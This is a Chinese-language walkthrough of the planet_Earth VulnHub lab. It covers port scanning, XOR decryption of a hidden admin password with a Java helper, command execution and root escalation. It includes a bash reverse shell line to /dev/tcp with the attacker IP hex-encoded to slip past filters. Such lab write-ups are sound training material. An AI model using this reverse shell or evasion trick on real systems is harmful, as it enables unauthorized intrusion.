planet_Earth靶场渗透记录
planet_Earth 靶场渗透记录
一、线索资料
1、拿到靶机IP
还从一个逗比那里学了一招,windows中cmd
arp -a //也可以拿到靶机IP,前提是两者有交互
A | B |
---|---|
Kali | ? |
192.168.56.128 | 192.168.56.130 |
— | 用户名密码未知 |
二、渗透开始
1、日常扫端口
nmap -sV -sS -A -T5 -p- 192.168.56.130
-sV:用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCPSYN扫描开放了哪些端口。-sS:将通过向每个端口发送单个SYN数据包来完成-A:此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测。-T5:优化时间控制选项的功能很强大也很有效,但有些用户会被迷惑。此外, 往往选择合适参数的时间超过了所需优化的扫描时间。因此,Nmap提供了一些简单的 方法,使用6个时间模板,使用时采用-T选项及数字(0 - 5) 或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)paranoid、sneaky模式用于IDS躲避
Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。
Normal为默认模式,因此-T3 实际上是未做任何优化。
Aggressive模式假设用户具有合适及可靠的网络从而加速 扫描.
nsane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。
-p-:扫描所有端口
可以发现开放端口 为 22,80,443
发现事情又没那么简单,80显示400 / 443 显示Bad Request
2、修改DNS
发现上面端口扫描信息,有DNS设置,因为本机作为测试,为windows系统,所以去修改了windows 的DNS
打开hosts文件
顺利打开网页,两个打开一样的页面,下面有3条貌似时加密的字符串
输入框,XSS尝试未成功
3、日常扫目录
两个网址扫出来一样的结果,尝试一下这个admin
是个登录框,先尝试一波sql注入
sqlmap 扫了一遍,也未成功,sql注入失败~
重新打开网页,发现多了好多字符串
应该跟之前的注入有关系
貌似没啥办法,尝试之前扫出来的 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ,看看这是什么
不能访问=。=||||
搜索了下攻略,发现前面扫目录少扫https,因为有443端口,所以https协议也有使用到!重新扫了一下
果然少了2个东西,index.html 和 rebots.txt , 看一下这个rebots.txt
藏了东西,一堆拒绝的后缀名,应该是拒绝上传的文件类型,但是最后一个貌似长得不一样,试一下
发现txt格式可以打开,发现一堆提示信息,翻译过来大概是:
测试安全消息系统注意事项:
*使用XOR加密作为算法,应该与RSA中使用的一样安全。
*地球已确认他们已收到我们发送的信息。
*测试数据。txt用于测试加密。
*terra用作管理门户的用户名。
托多:
*我们如何将每月的钥匙安全地发送到地球?或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
*需要改进消息接口和管理面板的界面,这是目前非常基本的。
得到有用信息:
- terra 为管理门户用户名
- XOR算法加密
- testdata.txt 用作加密测试
应该算是拿到用户名了,但是密码暂时不知,XOR算法加密,XOR是啥都不知道~~ =。=|||,突然想起来首页有3串加密的字符串,估计和那个有关,先搜索一下XOR加密相关信息
原来是异或运算,重新那会那三条加密字符串
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
先打开用作测试加密的testdata.txt
又是一串提示信息,翻译
根据放射性年代测定和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,海洋中出现了生命,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就已经出现了。
搁这讲背景故事呢~~ 0.0
百度了下,发现XOR解密需要密钥,这可咋整~~~
百度了几个小时,终于搞定了,大概流程是,用上面这串背景故事内容,转为16进制,和上面的加密字符串进行XOR运算,一开始全是乱码,后面换了好多方法,终于搞定,大神代码存下来,以免下次再用
public class Test23 {private static String hexStr = "0123456789ABCDEF";public static void main(String args[]) throws ParseException {String s1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a";String s2 = "4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c696665726174696f6e206f6620616e6165726f62696320616e642c206c617465722c206165726f626963206f7267616e69736d732e20536f6d652067656f6c6f676963616c2065766964656e636520696e646963617465732074686174206c696665206d617920686176652061726973656e206173206561726c7920617320342e312062696c6c696f6e2079656172732061676f2e";
// String code1 = encode(s1);
// String code2 = encode(s2);String code1 = s1;String code2 = s2;System.out.println(code1);System.out.println(code2);
// System.out.println("7F0C1D14017903767F6814010203");String result ="";for(int i=0; i<code1.length();i++){char c1 = code1.charAt(i);char c2 = code2.charAt(i);String a = convertHexToBinary(c1+"");String b = convertHexToBinary(c2+"");byte [] aa = a.getBytes();byte [] bb = b.getBytes();String cc ="";for( int j = 0;j<aa.length;j++ ){cc += aa[j]^bb[j];}String tmp =Integer.toHexString(Integer.valueOf(cc,2).intValue()).toString();result +=tmp;}System.out.println(result);}public static String convertHexToBinary(String hexString){long l = Long.parseLong(hexString, 16);String binaryString = Long.toBinaryString(l);int shouldBinaryLen = hexString.length()*4;StringBuffer addZero = new StringBuffer();int addZeroNum = shouldBinaryLen-binaryString.length();for(int i=1;i<=addZeroNum;i++){addZero.append("0");}return addZero.toString()+binaryString;}public static String encode(String str) {// 根据默认编码获取字节数组byte[] bytes = str.getBytes();String strs = "";
// 将字节数组中每个字节拆解成2位16进制整数for (int i = 0; i < bytes.length; i++) {//取得高四位strs += hexStr.charAt((bytes[i] & 0xf0) >> 4);
// System.out.println(i+"--"+bytes[i]+"----"+(bytes[i] & 0xf0)+"----"+hexString.charAt((bytes[i] & 0xf0) >> 4)+"---"+hexString.charAt((bytes[i] & 0x0f) >> 0));
//取得低四位strs += hexStr.charAt((bytes[i] & 0x0f) >> 0);}return strs;}}
s1是上面第三个加密字符串,s2是我直接网页转换背景故事内容的16进制字符串,下面一系列方法都是XOR运算
得到结果:
6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
再转为字符串
protected static byte[] decodeHex(char[] data) {int len = data.length;if ((len & 0x01) != 0) {throw new RuntimeException("字符个数应该为偶数");}byte[] out = new byte[len >> 1];for (int i = 0, j = 0; j < len; i++) {int f = toDigit(data[j], j) << 4;j++;f |= toDigit(data[j], j);j++;out[i] = (byte) (f & 0xFF);}return out;}
protected static int toDigit(char ch, int index) {int digit = Character.digit(ch, 16);if (digit == -1) {throw new RuntimeException("Illegal hexadecimal character " + ch + " at index " + index);}return digit;}
最终得到结果为:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
可以发现是earthclimatechangebad4humans一直在重复,拿着上面用户名terra 和此密码尝试登录
登录成功!第二把旗已拿到,剩下提权
4、提权
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pM1L0kLn-1664626064862)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20221001184220130.png)]
可以发现,此处可以正常执行linux 命令
查找了一波flag,有一个
应该是flag了,cat一下
第一把旗!!
和上个靶场一样,搜索可root可执行文件
reset_root 重置root,应该就是它了! 执行一下
发现报错,看一下里面的命令
看不出来哪里有问题,得拿到运行报错信息
kali nc瑞士军刀监听拿到此文件执行的信息
nc 5678端口监听
靶机运行一直没有反应,因为靶机上没有nc,所有nc命令无效,kali这边自然接收不到,
这地方踩坑,需要先反弹shell命令
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x80/1234 0>&1 (ip为192.168.56.128转为16进制,防止命令屏蔽)改命令转移shell到kali上,再来一次
kali nc 监听
kali 已经接收到reset_root文件,strace 检查一下
再踩坑,权限拒绝 …百度!
权限不足的原因,chmod 加权限,strace 成功执行
chmod是权限管理命令change the permissions mode of a file的缩写。
u代表所有者。x代表执行权限。’+’ 表示增加权限。
chmod u+x file.sh 就表示对当前目录下的file.sh文件的所有者增加可执行权限。
问题再 没有这3个文件,所以失败,创建这三个文件
在strace执行发现,没有报错
发现root密码改为了Earth,没有问题了,相同操作去靶机做一遍就可以了
成功提权!
四、渗透结束
planet_Earth靶场渗透记录相关推荐
- 西域大都护府 第四期cfs靶场 渗透记录
西域大都护府 第四期cfs靶场 渗透记录 1.DEDECMS 2.二层探测+转发 2.1 tomcat 2.2 shiro 2.3 weblogic 3.第三层 3.1 mysql 3.2 Smb 官 ...
- 小白渗透0-1:BlackMarket靶场渗透记录
小白渗透0-1:BlackMarket靶场渗透记录 #环境 攻击机:kali 192.168.200.129 靶 机:BlackMarket 链接:https://pan.baidu.com/s/1S ...
- DeathNote 靶场渗透记录
DeathNote 靶场渗透记录 一.ip 1.攻击机:Kali ip:192.168.142.128 靶机:? ip:192.168.56.138 二.日常扫端口 开放端口 22 和 80 ,老 ...
- EMPIRE_BREAKOUT_ 靶场渗透记录
EMPIRE_BREAKOUT_ 靶场渗透记录 一.ip 1.攻击机:Kali ip:192.168.142.128 靶机:? ip:192.168.56.133 二.开始渗透 1.日常扫端口 开 ...
- vulnhub靶场——BREACH: 1 渗透记录
BREACH: 1 vulnhub靶场--BREACH: 1 渗透记录 BREACH: 1 一.信息搜集 二.网站渗透 1.流量包 2.tomcat 三.提权 反弹root的shell BREACH: ...
- Pikachu靶场通关记录(详细)
Pikachu靶场通关记录 0x01 靶场介绍 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么 ...
- 【网络安全】2022年第一次靶场渗透实战学习
一.介绍 渗透测试是通过模拟黑客或者骇客攻击,以评估计算机系统或者网络环境安全性的技术:主要的目的是进行安全性的评估,而不是摧毁或者破坏目标系统. 渗透测试所需要的基础技能必须有网络基础.编程基础.数 ...
- Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
- Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)
Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码) 靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ ...
最新文章
- 视音频技术零基础学习方法
- C++中的string 类型占几个字节
- boost源码剖析之:泛型指针类any之海纳百川(rev#2)
- 【技术综述】深度学习中的数据增强(下)
- java 微信多媒体文件_java微信开发之上传下载多媒体文件
- spark-on-yarn日志配置
- python使用elasticsearch_python中使用ElasticSearch(二)
- 【Python】mayavi小结
- 为什么c语言2的n次方减一,计算2的N次方........有什么错吗?
- matlab 矩阵逻辑与,MATLAB之逻辑
- c语言设计一个酒店管理系统,C语言酒店管理系统设计.docx
- linux查看ipv6 dns,云解析DNS IPv6
- JAVA 面试 知识点整理
- win10 - 淡绿色护眼背景(注册表)
- net-snmp开发代理常见问题解决方案
- CSS实现的带头像的彩色垂直菜单源码
- allegro如何删除没有网络的走线,查还没有连的网络线
- python pandas 数据分析-读取csv excel
- HTML5特别篇——代码规范(2)
- 建造者模式——KFC点餐系统
热门文章
- 美国在PC处理器市场的垄断被ARM打破,国产处理器也取得了突破
- 电子书管理软件Calibre
- React 基础学习
- 汽车电子之功能安全介绍
- TSC打印机打印条形码和二维码,applet实现方式
- nvm: node版本管理器[使用教程]
- 中国石油大学《混凝土》第二阶段在线作业
- java imgui,发布使用 IMGui 基于 msys2 平台编写的软件
- 计算机应用对字数的要求,信息系统项目管理师考试论文字数要求是多少,没达标会扣多少分...
- CSGO开箱C++小程序。(229行)